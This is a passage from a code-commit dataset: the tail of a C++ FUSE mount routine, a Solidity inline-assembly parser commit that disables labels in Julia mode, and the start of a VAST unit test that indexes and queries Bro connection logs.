deserialize_json(std::move(content_source));\n\t\t\t\treturn Si::visit<int>(\n\t\t\t\t\tparsed,\n\t\t\t\t\t[buf, filler](std::unique_ptr<directory_listing> &listing)\n\t\t\t\t{\n\t\t\t\t\tfiller(buf, \".\", NULL, 0);\n\t\t\t\t\tfiller(buf, \"..\", NULL, 0);\n\t\t\t\t\tfor (auto const &entry : listing->entries)\n\t\t\t\t\t{\n\t\t\t\t\t\tstruct stat s{};\n\t\t\t\t\t\ts.st_size = 100;\n\t\t\t\t\t\ts.st_mode = 0777 | S_IFREG;\n\t\t\t\t\t\ts.st_nlink = 1;\n\t\t\t\t\t\tfiller(buf, entry.first.c_str(), &s, 0);\n\t\t\t\t\t}\n\t\t\t\t\treturn 0;\n\t\t\t\t},\n\t\t\t\t\t[](std::size_t)\n\t\t\t\t{\n\t\t\t\t\treturn -ENOENT;\n\t\t\t\t});\n\t\t\t}\n\t\t\tcatch (...)\n\t\t\t{\n\t\t\t\treturn -EIO;\n\t\t\t}\n\t\t}\n\n\t\tint hello_open(const char *path, struct fuse_file_info *fi)\n\t\t{\n\t\t\tif (strcmp(path, hello_path) != 0)\n\t\t\t\treturn -ENOENT;\n\n\t\t\tif ((fi->flags & 3) != O_RDONLY)\n\t\t\t\treturn -EACCES;\n\n\t\t\treturn 0;\n\t\t}\n\n\t\tint hello_read(const char *path, char *buf, size_t size, off_t offset,\n\t\t\t\t\t  struct fuse_file_info *fi)\n\t\t{\n\t\t\tsize_t len;\n\t\t\t(void) fi;\n\t\t\tif(strcmp(path, hello_path) != 0)\n\t\t\t\treturn -ENOENT;\n\n\t\t\tlen = strlen(hello_str);\n\t\t\tif (static_cast<size_t>(offset) < len) {\n\t\t\t\tif (offset + size > len)\n\t\t\t\t\tsize = len - offset;\n\t\t\t\tmemcpy(buf, hello_str + offset, size);\n\t\t\t} else\n\t\t\t\tsize = 0;\n\n\t\t\treturn static_cast<int>(size);\n\t\t}\n\n\t\tstruct user_data_for_fuse\n\t\t{\n\n\t\t};\n\n\t\tstruct chan_deleter\n\t\t{\n\t\t\tfileserver::path mount_point;\n\n\t\t\tvoid operator()(fuse_chan *chan) const\n\t\t\t{\n\t\t\t\tfuse_unmount(mount_point.c_str(), chan);\n\t\t\t}\n\t\t};\n\n\t\tstruct fuse_deleter\n\t\t{\n\t\t\tvoid operator()(fuse *f) const\n\t\t\t{\n\t\t\t\tfuse_destroy(f);\n\t\t\t}\n\t\t};\n\t}\n\n\tvoid mount_directory(unknown_digest const &root_digest, boost::filesystem::path const &mount_point)\n\t{\n\t\tchan_deleter deleter;\n\t\tdeleter.mount_point = fileserver::path(mount_point);\n\t\tfuse_args args{};\n\t\tstd::unique_ptr<fuse_chan, chan_deleter> chan(fuse_mount(mount_point.c_str(), &args), std::move(deleter));\n\t\tif (!chan)\n\t\t{\n\t\t\tthrow std::runtime_error(\"fuse_mount failure\");\n\t\t}\n\t\tfuse_operations operations{};\n\t\toperations.init = init;\n\t\toperations.destroy = destroy;\n\t\toperations.getattr = hello_getattr;\n\t\toperations.readdir = hello_readdir;\n\t\toperations.open = hello_open;\n\t\toperations.read = hello_read;\n\t\troot = root_digest;\n\t\tuser_data_for_fuse user_data;\n\t\tstd::unique_ptr<fuse, fuse_deleter> const f(fuse_new(chan.get(), &args, &operations, sizeof(operations), &user_data));\n\t\tif (!f)\n\t\t{\n\t\t\tthrow std::runtime_error(\"fuse_new failure\");\n\t\t}\n\n\t\t\/\/fuse_new seems to take ownership of the fuse_chan\n\t\tchan.release();\n\n\t\tfuse_loop(f.get());\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tThis file is part of solidity.\n\n\tsolidity is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tsolidity is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with solidity.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/**\n * @author Christian <c@ethdev.com>\n * @date 2016\n * Solidity inline assembly parser.\n *\/\n\n#include <libsolidity\/inlineasm\/AsmParser.h>\n#include <ctype.h>\n#include <algorithm>\n#include <libsolidity\/parsing\/Scanner.h>\n#include <libsolidity\/interface\/Exceptions.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::solidity;\nusing namespace dev::solidity::assembly;\n\nshared_ptr<assembly::Block> Parser::parse(std::shared_ptr<Scanner> const& _scanner)\n{\n\ttry\n\t{\n\t\tm_scanner = _scanner;\n\t\treturn make_shared<Block>(parseBlock());\n\t}\n\tcatch (FatalError const&)\n\t{\n\t\tif (m_errors.empty())\n\t\t\tthrow; \/\/ Something is weird here, rather throw again.\n\t}\n\treturn nullptr;\n}\n\nassembly::Block Parser::parseBlock()\n{\n\tassembly::Block block = createWithLocation<Block>();\n\texpectToken(Token::LBrace);\n\twhile (m_scanner->currentToken() != Token::RBrace)\n\t\tblock.statements.emplace_back(parseStatement());\n\tblock.location.end = endPosition();\n\tm_scanner->next();\n\treturn block;\n}\n\nassembly::Statement Parser::parseStatement()\n{\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::Let:\n\t\treturn parseVariableDeclaration();\n\tcase Token::Function:\n\t\treturn parseFunctionDefinition();\n\tcase Token::LBrace:\n\t\treturn parseBlock();\n\tcase Token::Assign:\n\t{\n\t\tif (m_julia)\n\t\t\tbreak;\n\t\tassembly::Assignment assignment = createWithLocation<assembly::Assignment>();\n\t\tm_scanner->next();\n\t\texpectToken(Token::Colon);\n\t\tassignment.variableName.location = location();\n\t\tassignment.variableName.name = m_scanner->currentLiteral();\n\t\tif (!m_julia && instructions().count(assignment.variableName.name))\n\t\t\tfatalParserError(\"Identifier expected, got instruction name.\");\n\t\tassignment.location.end = endPosition();\n\t\texpectToken(Token::Identifier);\n\t\treturn assignment;\n\t}\n\tcase Token::Return: \/\/ opcode\n\tcase Token::Byte: \/\/ opcode\n\tdefault:\n\t\tbreak;\n\t}\n\t\/\/ Options left:\n\t\/\/ Simple instruction (might turn into functional),\n\t\/\/ literal,\n\t\/\/ identifier (might turn into label or functional assignment)\n\tStatement statement(parseElementaryOperation());\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::LParen:\n\t\treturn parseFunctionalInstruction(std::move(statement));\n\tcase Token::Colon:\n\t{\n\t\tif (statement.type() != typeid(assembly::Identifier))\n\t\t\tfatalParserError(\"Label name \/ variable name must precede \\\":\\\".\");\n\t\tassembly::Identifier const& identifier = boost::get<assembly::Identifier>(statement);\n\t\tm_scanner->next();\n\t\t\/\/ identifier:=: should be parsed as identifier: =: (i.e. a label),\n\t\t\/\/ while identifier:= (being followed by a non-colon) as identifier := (assignment).\n\t\tif (m_scanner->currentToken() == Token::Assign && m_scanner->peekNextToken() != Token::Colon)\n\t\t{\n\t\t\t\/\/ functional assignment\n\t\t\tFunctionalAssignment funAss = createWithLocation<FunctionalAssignment>(identifier.location);\n\t\t\tif (!m_julia && instructions().count(identifier.name))\n\t\t\t\tfatalParserError(\"Cannot use instruction names for identifier names.\");\n\t\t\tm_scanner->next();\n\t\t\tfunAss.variableName = identifier;\n\t\t\tfunAss.value.reset(new Statement(parseExpression()));\n\t\t\tfunAss.location.end = locationOf(*funAss.value).end;\n\t\t\treturn funAss;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ label\n\t\t\tLabel label = createWithLocation<Label>(identifier.location);\n\t\t\tlabel.name = identifier.name;\n\t\t\treturn label;\n\t\t}\n\t}\n\tdefault:\n\t\tbreak;\n\t}\n\treturn statement;\n}\n\nassembly::Statement Parser::parseExpression()\n{\n\tStatement operation = parseElementaryOperation(true);\n\tif (m_scanner->currentToken() == Token::LParen)\n\t\treturn parseFunctionalInstruction(std::move(operation));\n\telse\n\t\treturn operation;\n}\n\nstd::map<string, dev::solidity::Instruction> const& Parser::instructions()\n{\n\t\/\/ Allowed instructions, lowercase names.\n\tstatic map<string, dev::solidity::Instruction> s_instructions;\n\tif (s_instructions.empty())\n\t{\n\t\tfor (auto const& instruction: solidity::c_instructions)\n\t\t{\n\t\t\tif (\n\t\t\t\tinstruction.second == solidity::Instruction::JUMPDEST ||\n\t\t\t\t(solidity::Instruction::PUSH1 <= instruction.second && instruction.second <= solidity::Instruction::PUSH32)\n\t\t\t)\n\t\t\t\tcontinue;\n\t\t\tstring name = instruction.first;\n\t\t\ttransform(name.begin(), name.end(), name.begin(), [](unsigned char _c) { return tolower(_c); });\n\t\t\ts_instructions[name] = instruction.second;\n\t\t}\n\n\t\t\/\/ add alias for suicide\n\t\ts_instructions[\"suicide\"] = solidity::Instruction::SELFDESTRUCT;\n\t}\n\treturn s_instructions;\n}\n\nassembly::Statement Parser::parseElementaryOperation(bool _onlySinglePusher)\n{\n\tStatement ret;\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::Identifier:\n\tcase Token::Return:\n\tcase Token::Byte:\n\tcase Token::Address:\n\t{\n\t\tstring literal;\n\t\tif (m_scanner->currentToken() == Token::Return)\n\t\t\tliteral = \"return\";\n\t\telse if (m_scanner->currentToken() == Token::Byte)\n\t\t\tliteral = \"byte\";\n\t\telse if (m_scanner->currentToken() == Token::Address)\n\t\t\tliteral = \"address\";\n\t\telse\n\t\t\tliteral = m_scanner->currentLiteral();\n\t\t\/\/ first search the set of instructions.\n\t\tif (!m_julia && instructions().count(literal))\n\t\t{\n\t\t\tdev::solidity::Instruction const& instr = instructions().at(literal);\n\t\t\tif (_onlySinglePusher)\n\t\t\t{\n\t\t\t\tInstructionInfo info = dev::solidity::instructionInfo(instr);\n\t\t\t\tif (info.ret != 1)\n\t\t\t\t\tfatalParserError(\"Instruction \" + info.name + \" not allowed in this context.\");\n\t\t\t}\n\t\t\tret = Instruction{location(), instr};\n\t\t}\n\t\telse\n\t\t\tret = Identifier{location(), literal};\n\t\tbreak;\n\t}\n\tcase Token::StringLiteral:\n\tcase Token::Number:\n\t{\n\t\tret = Literal{\n\t\t\tlocation(),\n\t\t\tm_scanner->currentToken() == Token::Number,\n\t\t\tm_scanner->currentLiteral()\n\t\t};\n\t\tbreak;\n\t}\n\tdefault:\n\t\tfatalParserError(\"Expected elementary inline assembly operation.\");\n\t}\n\tm_scanner->next();\n\treturn ret;\n}\n\nassembly::VariableDeclaration Parser::parseVariableDeclaration()\n{\n\tVariableDeclaration varDecl = createWithLocation<VariableDeclaration>();\n\texpectToken(Token::Let);\n\tvarDecl.name = expectAsmIdentifier();\n\texpectToken(Token::Colon);\n\texpectToken(Token::Assign);\n\tvarDecl.value.reset(new Statement(parseExpression()));\n\tvarDecl.location.end = locationOf(*varDecl.value).end;\n\treturn varDecl;\n}\n\nassembly::FunctionDefinition Parser::parseFunctionDefinition()\n{\n\tFunctionDefinition funDef = createWithLocation<FunctionDefinition>();\n\texpectToken(Token::Function);\n\tfunDef.name = expectAsmIdentifier();\n\texpectToken(Token::LParen);\n\twhile (m_scanner->currentToken() != Token::RParen)\n\t{\n\t\tfunDef.arguments.push_back(expectAsmIdentifier());\n\t\tif (m_scanner->currentToken() == Token::RParen)\n\t\t\tbreak;\n\t\texpectToken(Token::Comma);\n\t}\n\texpectToken(Token::RParen);\n\tif (m_scanner->currentToken() == Token::Sub)\n\t{\n\t\texpectToken(Token::Sub);\n\t\texpectToken(Token::GreaterThan);\n\t\twhile (true)\n\t\t{\n\t\t\tfunDef.returns.push_back(expectAsmIdentifier());\n\t\t\tif (m_scanner->currentToken() == Token::LBrace)\n\t\t\t\tbreak;\n\t\t\texpectToken(Token::Comma);\n\t\t}\n\t}\n\tfunDef.body = parseBlock();\n\tfunDef.location.end = funDef.body.location.end;\n\treturn funDef;\n}\n\nassembly::Statement Parser::parseFunctionalInstruction(assembly::Statement&& _instruction)\n{\n\tif (_instruction.type() == typeid(Instruction))\n\t{\n\t\tsolAssert(!m_julia, \"Instructions are invalid in JULIA\");\n\t\tFunctionalInstruction ret;\n\t\tret.instruction = std::move(boost::get<Instruction>(_instruction));\n\t\tret.location = ret.instruction.location;\n\t\tsolidity::Instruction instr = ret.instruction.instruction;\n\t\tInstructionInfo instrInfo = instructionInfo(instr);\n\t\tif (solidity::Instruction::DUP1 <= instr && instr <= solidity::Instruction::DUP16)\n\t\t\tfatalParserError(\"DUPi instructions not allowed for functional notation\");\n\t\tif (solidity::Instruction::SWAP1 <= instr && instr <= solidity::Instruction::SWAP16)\n\t\t\tfatalParserError(\"SWAPi instructions not allowed for functional notation\");\n\t\texpectToken(Token::LParen);\n\t\tunsigned args = unsigned(instrInfo.args);\n\t\tfor (unsigned i = 0; i < args; ++i)\n\t\t{\n\t\t\tret.arguments.emplace_back(parseExpression());\n\t\t\tif (i != args - 1)\n\t\t\t{\n\t\t\t\tif (m_scanner->currentToken() != Token::Comma)\n\t\t\t\t\tfatalParserError(string(\n\t\t\t\t\t\t\"Expected comma (\" +\n\t\t\t\t\t\tinstrInfo.name +\n\t\t\t\t\t\t\" expects \" +\n\t\t\t\t\t\tboost::lexical_cast<string>(args) +\n\t\t\t\t\t\t\" arguments)\"\n\t\t\t\t\t));\n\t\t\t\telse\n\t\t\t\t\tm_scanner->next();\n\t\t\t}\n\t\t}\n\t\tret.location.end = endPosition();\n\t\tif (m_scanner->currentToken() == Token::Comma)\n\t\t\tfatalParserError(\n\t\t\t\tstring(\"Expected ')' (\" + instrInfo.name + \" expects \" + boost::lexical_cast<string>(args) + \" arguments)\")\n\t\t\t);\n\t\texpectToken(Token::RParen);\n\t\treturn ret;\n\t}\n\telse if (_instruction.type() == typeid(Identifier))\n\t{\n\t\tFunctionCall ret;\n\t\tret.functionName = std::move(boost::get<Identifier>(_instruction));\n\t\tret.location = ret.functionName.location;\n\t\texpectToken(Token::LParen);\n\t\twhile (m_scanner->currentToken() != Token::RParen)\n\t\t{\n\t\t\tret.arguments.emplace_back(parseExpression());\n\t\t\tif (m_scanner->currentToken() == Token::RParen)\n\t\t\t\tbreak;\n\t\t\texpectToken(Token::Comma);\n\t\t}\n\t\tret.location.end = endPosition();\n\t\texpectToken(Token::RParen);\n\t\treturn ret;\n\t}\n\telse\n\t\tfatalParserError(\"Assembly instruction or function name required in front of \\\"(\\\")\");\n\n\treturn {};\n}\n\nstring Parser::expectAsmIdentifier()\n{\n\tstring name = m_scanner->currentLiteral();\n\tif (!m_julia && instructions().count(name))\n\t\tfatalParserError(\"Cannot use instruction names for identifier names.\");\n\texpectToken(Token::Identifier);\n\treturn name;\n}\n<commit_msg>Disable labels in Julia<commit_after>\/*\n\tThis file is part of solidity.\n\n\tsolidity is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tsolidity is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with solidity.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/**\n * @author Christian <c@ethdev.com>\n * @date 2016\n * Solidity inline assembly parser.\n *\/\n\n#include <libsolidity\/inlineasm\/AsmParser.h>\n#include <ctype.h>\n#include <algorithm>\n#include <libsolidity\/parsing\/Scanner.h>\n#include <libsolidity\/interface\/Exceptions.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::solidity;\nusing namespace dev::solidity::assembly;\n\nshared_ptr<assembly::Block> Parser::parse(std::shared_ptr<Scanner> const& _scanner)\n{\n\ttry\n\t{\n\t\tm_scanner = _scanner;\n\t\treturn make_shared<Block>(parseBlock());\n\t}\n\tcatch (FatalError const&)\n\t{\n\t\tif (m_errors.empty())\n\t\t\tthrow; \/\/ Something is weird here, rather throw again.\n\t}\n\treturn nullptr;\n}\n\nassembly::Block Parser::parseBlock()\n{\n\tassembly::Block block = createWithLocation<Block>();\n\texpectToken(Token::LBrace);\n\twhile (m_scanner->currentToken() != Token::RBrace)\n\t\tblock.statements.emplace_back(parseStatement());\n\tblock.location.end = endPosition();\n\tm_scanner->next();\n\treturn block;\n}\n\nassembly::Statement Parser::parseStatement()\n{\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::Let:\n\t\treturn parseVariableDeclaration();\n\tcase Token::Function:\n\t\treturn parseFunctionDefinition();\n\tcase Token::LBrace:\n\t\treturn parseBlock();\n\tcase Token::Assign:\n\t{\n\t\tif (m_julia)\n\t\t\tbreak;\n\t\tassembly::Assignment assignment = createWithLocation<assembly::Assignment>();\n\t\tm_scanner->next();\n\t\texpectToken(Token::Colon);\n\t\tassignment.variableName.location = location();\n\t\tassignment.variableName.name = m_scanner->currentLiteral();\n\t\tif (!m_julia && instructions().count(assignment.variableName.name))\n\t\t\tfatalParserError(\"Identifier expected, got instruction name.\");\n\t\tassignment.location.end = endPosition();\n\t\texpectToken(Token::Identifier);\n\t\treturn assignment;\n\t}\n\tcase Token::Return: \/\/ opcode\n\tcase Token::Byte: \/\/ opcode\n\tcase Token::Address: \/\/ opcode\n\tdefault:\n\t\tbreak;\n\t}\n\t\/\/ Options left:\n\t\/\/ Simple instruction (might turn into functional),\n\t\/\/ literal,\n\t\/\/ identifier (might turn into label or functional assignment)\n\tStatement statement(parseElementaryOperation());\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::LParen:\n\t\treturn parseFunctionalInstruction(std::move(statement));\n\tcase Token::Colon:\n\t{\n\t\tif (statement.type() != typeid(assembly::Identifier))\n\t\t\tfatalParserError(\"Label name \/ variable name must precede \\\":\\\".\");\n\t\tassembly::Identifier const& identifier = boost::get<assembly::Identifier>(statement);\n\t\tm_scanner->next();\n\t\t\/\/ identifier:=: should be parsed as identifier: =: (i.e. a label),\n\t\t\/\/ while identifier:= (being followed by a non-colon) as identifier := (assignment).\n\t\tif (m_scanner->currentToken() == Token::Assign && m_scanner->peekNextToken() != Token::Colon)\n\t\t{\n\t\t\t\/\/ functional assignment\n\t\t\tFunctionalAssignment funAss = createWithLocation<FunctionalAssignment>(identifier.location);\n\t\t\tif (!m_julia && instructions().count(identifier.name))\n\t\t\t\tfatalParserError(\"Cannot use instruction names for identifier names.\");\n\t\t\tm_scanner->next();\n\t\t\tfunAss.variableName = identifier;\n\t\t\tfunAss.value.reset(new Statement(parseExpression()));\n\t\t\tfunAss.location.end = locationOf(*funAss.value).end;\n\t\t\treturn funAss;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ label\n\t\t\tif (m_julia)\n\t\t\t\tfatalParserError(\"Labels are not supported.\");\n\t\t\tLabel label = createWithLocation<Label>(identifier.location);\n\t\t\tlabel.name = identifier.name;\n\t\t\treturn label;\n\t\t}\n\t}\n\tdefault:\n\t\tbreak;\n\t}\n\treturn statement;\n}\n\nassembly::Statement Parser::parseExpression()\n{\n\tStatement operation = parseElementaryOperation(true);\n\tif (m_scanner->currentToken() == Token::LParen)\n\t\treturn parseFunctionalInstruction(std::move(operation));\n\telse\n\t\treturn operation;\n}\n\nstd::map<string, dev::solidity::Instruction> const& Parser::instructions()\n{\n\t\/\/ Allowed instructions, lowercase names.\n\tstatic map<string, dev::solidity::Instruction> s_instructions;\n\tif (s_instructions.empty())\n\t{\n\t\tfor (auto const& instruction: solidity::c_instructions)\n\t\t{\n\t\t\tif (\n\t\t\t\tinstruction.second == solidity::Instruction::JUMPDEST ||\n\t\t\t\t(solidity::Instruction::PUSH1 <= instruction.second && instruction.second <= solidity::Instruction::PUSH32)\n\t\t\t)\n\t\t\t\tcontinue;\n\t\t\tstring name = instruction.first;\n\t\t\ttransform(name.begin(), name.end(), name.begin(), [](unsigned char _c) { return tolower(_c); });\n\t\t\ts_instructions[name] = instruction.second;\n\t\t}\n\n\t\t\/\/ add alias for suicide\n\t\ts_instructions[\"suicide\"] = solidity::Instruction::SELFDESTRUCT;\n\t}\n\treturn s_instructions;\n}\n\nassembly::Statement Parser::parseElementaryOperation(bool _onlySinglePusher)\n{\n\tStatement ret;\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::Identifier:\n\tcase Token::Return:\n\tcase Token::Byte:\n\tcase Token::Address:\n\t{\n\t\tstring literal;\n\t\tif (m_scanner->currentToken() == Token::Return)\n\t\t\tliteral = \"return\";\n\t\telse if (m_scanner->currentToken() == Token::Byte)\n\t\t\tliteral = \"byte\";\n\t\telse if (m_scanner->currentToken() == Token::Address)\n\t\t\tliteral = \"address\";\n\t\telse\n\t\t\tliteral = m_scanner->currentLiteral();\n\t\t\/\/ first search the set of instructions.\n\t\tif (!m_julia && instructions().count(literal))\n\t\t{\n\t\t\tdev::solidity::Instruction const& instr = instructions().at(literal);\n\t\t\tif (_onlySinglePusher)\n\t\t\t{\n\t\t\t\tInstructionInfo info = dev::solidity::instructionInfo(instr);\n\t\t\t\tif (info.ret != 1)\n\t\t\t\t\tfatalParserError(\"Instruction \" + info.name + \" not allowed in this context.\");\n\t\t\t}\n\t\t\tret = Instruction{location(), instr};\n\t\t}\n\t\telse\n\t\t\tret = Identifier{location(), literal};\n\t\tbreak;\n\t}\n\tcase Token::StringLiteral:\n\tcase Token::Number:\n\t{\n\t\tret = Literal{\n\t\t\tlocation(),\n\t\t\tm_scanner->currentToken() == Token::Number,\n\t\t\tm_scanner->currentLiteral()\n\t\t};\n\t\tbreak;\n\t}\n\tdefault:\n\t\tfatalParserError(\"Expected elementary inline assembly operation.\");\n\t}\n\tm_scanner->next();\n\treturn ret;\n}\n\nassembly::VariableDeclaration Parser::parseVariableDeclaration()\n{\n\tVariableDeclaration varDecl = createWithLocation<VariableDeclaration>();\n\texpectToken(Token::Let);\n\tvarDecl.name = expectAsmIdentifier();\n\texpectToken(Token::Colon);\n\texpectToken(Token::Assign);\n\tvarDecl.value.reset(new Statement(parseExpression()));\n\tvarDecl.location.end = locationOf(*varDecl.value).end;\n\treturn varDecl;\n}\n\nassembly::FunctionDefinition Parser::parseFunctionDefinition()\n{\n\tFunctionDefinition funDef = createWithLocation<FunctionDefinition>();\n\texpectToken(Token::Function);\n\tfunDef.name = expectAsmIdentifier();\n\texpectToken(Token::LParen);\n\twhile (m_scanner->currentToken() != Token::RParen)\n\t{\n\t\tfunDef.arguments.push_back(expectAsmIdentifier());\n\t\tif (m_scanner->currentToken() == Token::RParen)\n\t\t\tbreak;\n\t\texpectToken(Token::Comma);\n\t}\n\texpectToken(Token::RParen);\n\tif (m_scanner->currentToken() == Token::Sub)\n\t{\n\t\texpectToken(Token::Sub);\n\t\texpectToken(Token::GreaterThan);\n\t\twhile (true)\n\t\t{\n\t\t\tfunDef.returns.push_back(expectAsmIdentifier());\n\t\t\tif (m_scanner->currentToken() == Token::LBrace)\n\t\t\t\tbreak;\n\t\t\texpectToken(Token::Comma);\n\t\t}\n\t}\n\tfunDef.body = parseBlock();\n\tfunDef.location.end = funDef.body.location.end;\n\treturn funDef;\n}\n\nassembly::Statement Parser::parseFunctionalInstruction(assembly::Statement&& _instruction)\n{\n\tif (_instruction.type() == typeid(Instruction))\n\t{\n\t\tsolAssert(!m_julia, \"Instructions are invalid in JULIA\");\n\t\tFunctionalInstruction ret;\n\t\tret.instruction = std::move(boost::get<Instruction>(_instruction));\n\t\tret.location = ret.instruction.location;\n\t\tsolidity::Instruction instr = ret.instruction.instruction;\n\t\tInstructionInfo instrInfo = instructionInfo(instr);\n\t\tif (solidity::Instruction::DUP1 <= instr && instr <= solidity::Instruction::DUP16)\n\t\t\tfatalParserError(\"DUPi instructions not allowed for functional notation\");\n\t\tif (solidity::Instruction::SWAP1 <= instr && instr <= solidity::Instruction::SWAP16)\n\t\t\tfatalParserError(\"SWAPi instructions not allowed for functional notation\");\n\t\texpectToken(Token::LParen);\n\t\tunsigned args = unsigned(instrInfo.args);\n\t\tfor (unsigned i = 0; i < args; ++i)\n\t\t{\n\t\t\tret.arguments.emplace_back(parseExpression());\n\t\t\tif (i != args - 1)\n\t\t\t{\n\t\t\t\tif (m_scanner->currentToken() != Token::Comma)\n\t\t\t\t\tfatalParserError(string(\n\t\t\t\t\t\t\"Expected comma (\" +\n\t\t\t\t\t\tinstrInfo.name +\n\t\t\t\t\t\t\" expects \" +\n\t\t\t\t\t\tboost::lexical_cast<string>(args) +\n\t\t\t\t\t\t\" arguments)\"\n\t\t\t\t\t));\n\t\t\t\telse\n\t\t\t\t\tm_scanner->next();\n\t\t\t}\n\t\t}\n\t\tret.location.end = endPosition();\n\t\tif (m_scanner->currentToken() == Token::Comma)\n\t\t\tfatalParserError(\n\t\t\t\tstring(\"Expected ')' (\" + instrInfo.name + \" expects \" + boost::lexical_cast<string>(args) + \" arguments)\")\n\t\t\t);\n\t\texpectToken(Token::RParen);\n\t\treturn ret;\n\t}\n\telse if (_instruction.type() == typeid(Identifier))\n\t{\n\t\tFunctionCall ret;\n\t\tret.functionName = std::move(boost::get<Identifier>(_instruction));\n\t\tret.location = ret.functionName.location;\n\t\texpectToken(Token::LParen);\n\t\twhile (m_scanner->currentToken() != Token::RParen)\n\t\t{\n\t\t\tret.arguments.emplace_back(parseExpression());\n\t\t\tif (m_scanner->currentToken() == Token::RParen)\n\t\t\t\tbreak;\n\t\t\texpectToken(Token::Comma);\n\t\t}\n\t\tret.location.end = endPosition();\n\t\texpectToken(Token::RParen);\n\t\treturn ret;\n\t}\n\telse\n\t\tfatalParserError(\"Assembly instruction or function name required in front of \\\"(\\\")\");\n\n\treturn {};\n}\n\nstring Parser::expectAsmIdentifier()\n{\n\tstring name = m_scanner->currentLiteral();\n\tif (!m_julia && instructions().count(name))\n\t\tfatalParserError(\"Cannot use instruction names for identifier names.\");\n\texpectToken(Token::Identifier);\n\treturn name;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n *                    _   _____   __________                                  *\n *                   | | \/ \/ _ | \/ __\/_  __\/     Visibility                   *\n *                   | |\/ \/ __ |_\\ \\  \/ \/          Across                     *\n *                   |___\/_\/ |_\/___\/ \/_\/       Space and Time                 *\n *                                                                            *\n * This file is part of VAST. It is subject to the license terms in the       *\n * LICENSE file found in the top-level directory of this distribution and at  *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be       *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file.                                             *\n ******************************************************************************\/\n\n#define SUITE table_index\n#include \"test.hpp\"\n\n#include \"fixtures\/events.hpp\"\n#include \"fixtures\/filesystem.hpp\"\n\n#include \"vast\/bitmap.hpp\"\n#include \"vast\/concept\/parseable\/to.hpp\"\n#include \"vast\/concept\/parseable\/vast\/expression.hpp\"\n#include \"vast\/concept\/printable\/stream.hpp\"\n#include \"vast\/concept\/printable\/vast\/error.hpp\"\n#include \"vast\/concept\/printable\/vast\/event.hpp\"\n#include \"vast\/concept\/printable\/vast\/expression.hpp\"\n#include \"vast\/system\/table_index.hpp\"\n\nusing namespace vast;\nusing namespace vast::system;\n\nnamespace {\n\nstruct fixture : fixtures::events, fixtures::filesystem {\n  fixture() {\n    directory \/= \"column-layout\";\n  }\n};\n\n} \/\/ namespace <anonymous>\n\nFIXTURE_SCOPE(table_index_tests, fixture)\n\nTEST(bro conn logs) {\n  MESSAGE(\"generate column layout for bro conn logs\");\n  const auto conn_log_type = bro_conn_log[0].type();\n  auto ecols = make_table_index(directory, conn_log_type);\n  REQUIRE(ecols);\n  auto cols = std::move(*ecols);\n  CHECK_EQUAL(cols.num_meta_columns(), 2u);\n  MESSAGE(\"ingesting events\");\n  for (auto& entry : bro_conn_log) {\n    auto err = cols.add(entry);\n    if (err) {\n      FAIL(\"error during ingestion: \" << caf::to_string(err));\n    }\n  }\n  MESSAGE(\"querying\");\n  auto pred = to<predicate>(\"id.resp_p == 995\/?\");\n  REQUIRE(pred);\n  auto eresult = cols.lookup(*pred);\n  REQUIRE(eresult);\n  auto& result = *eresult;\n  CHECK_EQUAL(rank(result), 53u);\n  auto check_uid = [](const event& e, const std::string& uid) {\n    auto& v = get<vector>(e.data());\n    return v[1] == uid;\n  };\n  for (auto i : select(result))\n    if (i == 819)\n      CHECK(check_uid(bro_conn_log[819], \"KKSlmtmkkxf\")); \/\/ first\n    else if (i == 3594)\n      CHECK(check_uid(bro_conn_log[3594], \"GDzpFiROJQi\")); \/\/ intermediate\n    else if (i == 6338)\n      CHECK(check_uid(bro_conn_log[6338], \"zwCckCCgXDb\")); \/\/ last\n}\n\nFIXTURE_SCOPE_END()\n<commit_msg>Unbox expected result w\/o intermediate variables<commit_after>\/******************************************************************************\n *                    _   _____   __________                                  *\n *                   | | \/ \/ _ | \/ __\/_  __\/     Visibility                   *\n *                   | |\/ \/ __ |_\\ \\  \/ \/          Across                     *\n *                   |___\/_\/ |_\/___\/ \/_\/       Space and Time                 *\n *                                                                            *\n * This file is part of VAST. It is subject to the license terms in the       *\n * LICENSE file found in the top-level directory of this distribution and at  *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be       *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file.                                             *\n ******************************************************************************\/\n\n#define SUITE table_index\n#include \"test.hpp\"\n\n#include \"fixtures\/events.hpp\"\n#include \"fixtures\/filesystem.hpp\"\n\n#include \"vast\/bitmap.hpp\"\n#include \"vast\/concept\/parseable\/to.hpp\"\n#include \"vast\/concept\/parseable\/vast\/expression.hpp\"\n#include \"vast\/concept\/printable\/stream.hpp\"\n#include \"vast\/concept\/printable\/vast\/error.hpp\"\n#include \"vast\/concept\/printable\/vast\/event.hpp\"\n#include 